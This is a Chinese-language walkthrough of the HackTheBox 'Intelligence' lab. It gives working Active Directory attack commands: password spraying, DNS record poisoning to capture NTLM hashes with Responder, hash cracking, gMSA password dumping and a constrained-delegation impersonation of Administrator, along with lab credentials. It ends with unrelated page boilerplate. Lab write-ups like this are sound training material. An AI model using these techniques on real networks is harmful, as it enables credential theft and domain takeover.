HackTheBox-Intelligence WP

0x01 端口探测


使用nmap对靶机进行探测:

nmap -sV -sC 10.10.10.248

image-20210930211850122


比较标准的DC端口,还多了个WEB的80。



0x02 user.txt

进WEB看看,发现在主页目录可以下载文档。主页能下载的文档文件名为2020-01-01-upload.pdf

image-20211008103916590


image-20211008104103851



遂写了脚本进行爆破,将所有的文档下载下来:

import requests

for month in range(1, 13):
    for day in range(1, 32):
        file_name = "2020-%02d-%02d-upload.pdf" % (month, day)
        resp = requests.get("http://10.10.10.248/documents/" + file_name)
        if resp.status_code == 200:
            print(file_name)
            with open(file_name, "wb") as f:
                f.write(resp.content)

image-20211008104214464



其中,大多数文档都是无意义的填充文字,为了避免一个个看过去,写了个脚本提取文字:

# 安装  pip install pdfplumber
import pdfplumber
import sys
# 利用pdfplumber提取文字
file = sys.argv[1]
with pdfplumber.open(file) as pdf:
    first_page = pdf.pages[0]
    print(file)
    print(first_page.extract_text())
    print()     

将脚本保存为extract.py,该脚本使用方式为python3 extract.py 2020-01-01-upload.pdf,为了批量处理需要配合shell命令进行使用。

for i in $(ls | grep pdf) ; do python3 extract.py  $i ; done > text_extract.txt

查看提取出的文字,对一些字段进行搜索,可以看到在搜索pass时能够看到初始密码:

image-20211001110440842



有了密码,我们还需要用户名才能进行登录,使用工具exiftool查看用户名:

image-20211008104808719



2020-06-04-upload.pdf的用户名不能登陆,所以我们需要提取所有的用户名:

for i in $(ls) ; do exiftool $i| grep Creator |awk -F: '{print $2}'; done

image-20211008105032513



将所有的用户名保存为username.txt,使用crackmapexec进行密码喷洒攻击:

crackmapexec smb 10.10.10.248 -u username.txt -p "NewIntelligenceCorpUser9876" 

最终爆破得到如下信息:

image-20211001124730527



domain = intelligence.htb
username = Tiffany.Molina
password = NewIntelligenceCorpUser9876

连上smb翻一下文件,能够找到一个downdetector.ps1,我们将这个文件下载下来:

smbclient -L //10.10.10.248 -U Tiffany.Molina
╭─root@kali ~/下载/pdf 
╰─# smbclient -L //10.10.10.248 -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	IT              Disk      
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
	Users           Disk      
SMB1 disabled -- no workgroup available



╭─root@kali ~/下载/pdf 
╰─# smbclient  //10.10.10.248/IT -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Apr 19 08:50:55 2021
  ..                                  D        0  Mon Apr 19 08:50:55 2021
  downdetector.ps1                    A     1046  Mon Apr 19 08:50:55 2021

		3770367 blocks of size 4096. 1460376 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)



╭─root@kali ~/下载/pdf 
╰─# smbclient  //10.10.10.248/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

然后顺手拿个user的flag:

image-20211001130336719




0x03 root.txt

查看downdetector.ps1,内容如下:

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
	try {
		$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
		if(.StatusCode -ne 200) {
			Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
		}
	} catch {}
}


结合文件名,我们可以推测该脚本的作用。每五分钟,该脚本会查找以“web”开头的域内二级站点,并使用Ted的凭据为每条找到的记录发送HTTP请求。(使用-UseDefaultCredentials选项)如果服务器没有返回200 OK状态码,则会向Ted发送一封邮件。


发送邮件不是我们关心的内容,重要的是HTTP请求带上了用户的凭据信息,我们可以插入一条相对应的DNS记录,指向自己的机子,这样就能拿到Ted.Graves的凭据信息了:

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'websucks.intelligence.htb' -d 10.10.14.27 10.10.10.248

image-20211005161234902



之后开启responder,监听vpn的网卡,等最多5分钟就能拿到Ted.Graves的NTLMv2 Hash:

responder -I tun0

image-20211005161628128



使用netcat进行爆破,最后能够拿到Ted.Graves的密码为Mr.Teddy:

hashcat -m 5600 -a 0 hash "E:\path\pass_en.txt" # 这里的字典就是rockyou.txt

image-20211005162018451



但是登上去后,并没有任何更多的信息,所以不是smb这条路,我们需要换一条思路:

image-20211005162902520



回去翻翻pdf,在最后一条能够发现一些提示信息:

image-20211005165904813



也就是说,此时此刻服务账户是未被锁定的。

看看ldap信息,使用ldapdomaindump导出所有ldap信息:

ldapdomaindump  -u "intelligence.htb\TED.GRAVES" -p "Mr.Teddy" intelligence.htb

image-20211008110726034



一个个看过去,首先在domain_computers中就能发现一个不同寻常的账户svc_int,它还配置了约束委派的标志位:

image-20211008110856112



对该机器账户进行更详细的信息收集,使用powersploit的powerview模块,参考

PS > $SecPassword = ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force  
PS > $Cred = New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES', $SecPassword)
PS > Get-DomainComputer -Domain intelligence.htb -Credential $Cred -Server 10.10.10.248 svc_int

得到信息如下:

pwdlastset                     : 2021/10/7 21:28:38
logoncount                     : 0
badpasswordtime                : 1601/1/1 8:00:00
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname              : CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectclass                    : {top, person, organizationalPerson, user...}
name                           : svc_int
objectsid                      : S-1-5-21-4210132550-3389855604-3437519686-1144
msds-groupmsamembership        : {1, 0, 4, 128...}
localpolicyflags               : 0
codepage                       : 0
samaccounttype                 : MACHINE_ACCOUNT
accountexpires                 : NEVER
countrycode                    : 0
whenchanged                    : 2021/10/7 13:28:38
instancetype                   : 4
usncreated                     : 12846
objectguid                     : f180a079-f326-49b2-84a1-34824208d642
msds-managedpasswordid         : {1, 0, 0, 0...}
msds-allowedtodelegateto       : WWW/dc.intelligence.htb
samaccountname                 : svc_int$
objectcategory                 : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=h
                                 tb
dscorepropagationdata          : 1601/1/1 0:00:00
msds-managedpasswordinterval   : 30
lastlogon                      : 1601/1/1 8:00:00
badpwdcount                    : 0
cn                             : svc_int
useraccountcontrol             : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                    : 2021/4/19 0:49:58
primarygroupid                 : 515
iscriticalsystemobject         : False
msds-supportedencryptiontypes  : 28
usnchanged                     : 102507
lastlogoff                     : 1601/1/1 8:00:00
dnshostname                    : svc_int.intelligence.htb

从objectcategory中我们可以看出,该账户是一个GMSA(Group Managed Service Accounts)账户,详见官方文档:

image-20211008111335821



PayloadsAllTheThings中,我们能发现对GMSA账户的利用方法:

image-20211008111737837



尝试进行利用,很幸运地读到了该账户的密码(因为我们的Ted用户是itsupport组的成员之一):

╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# python3 gMSADumper.py -u TED.GRAVES -p Mr.Teddy -d intelligence.htb

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::d170ae19de30439df55d6430e12dd621

之后便可以进行约束委派攻击了,但首先我们需要校准时间,否则Kerberos会报错:

╭─root@kali ~/Tools/gMSADumper ‹main› 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

使用ntpdate进行校正:

╭─root@kali ~/下载 
╰─# ntpdate dc.intelligence.htb 
 8 Oct 05:36:13 ntpdate[43971]: step time server 10.10.10.248 offset +25196.736528 sec

然后再拿Service Ticket:

╭─root@kali ~/下载 
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执 行 DCSync。

export后使用impacket中的smbclient模块登录拿flag即可:

export KRB5CCNAME=Administrator.ccache
impacket-smbclient intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass

image-20211008095012419

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
“实践型人工智能在网络安全中的应用”是指人工智能技术在网络安全领域的实际应用。随着网络攻击日益复杂和普遍,传统的网络安全措施已经无法满足对抗威胁的需求。而人工智能的出现,为网络安全提供了新的解决方案。 实践型人工智能在网络安全中的应用可以分为几个方面。首先是入侵检测和预防。人工智能技术可以通过对网络流量和系统日志的分析,识别出潜在的入侵行为,并及时采取相应的措施进行预防。其次是威胁情报和分析。通过对大数据的分析和挖掘,人工智能可以帮助企业获得有关网络威胁的实时情报,从而更好地了解和应对各种威胁。此外,人工智能还可以应用于恶意代码检测、虚拟专用网络安全、恶意活动预测等方面,从而提升网络安全的整体水平。 实践型人工智能在网络安全中的应用具有许多优势。首先,它可以通过大数据处理和机器学习算法实现对大量数据的实时分析,提高威胁检测和预测的准确性和效率。其次,人工智能可以从历史数据和实时数据中学习并更新自己的模型,以应对不断变化的威胁。此外,人工智能还可以通过自动化处理和响应系统来减少人为错误和延迟,提高网络安全的响应速度。 然而,实践型人工智能在网络安全中也面临一些挑战。首先,人工智能技术的应用需要大量的计算资源和数据训练,这对于一些中小型企业来说可能是一个挑战。其次,人工智能面临着隐私和伦理问题,如如何保护个人隐私和防止滥用人工智能的问题。此外,人工智能还需要不断与新的威胁和攻击方式保持同步,才能保持其有效性。 综上所述,“实践型人工智能在网络安全中的应用”是一个应对不断增长的网络威胁的新兴领域。通过将人工智能技术应用于网络安全,我们可以提高网络安全的效率和准确性,加强对网络威胁的防范和应对能力。尽管面临一些挑战,但实践型人工智能在网络安全中的应用具有广阔的前景和潜力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1nt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值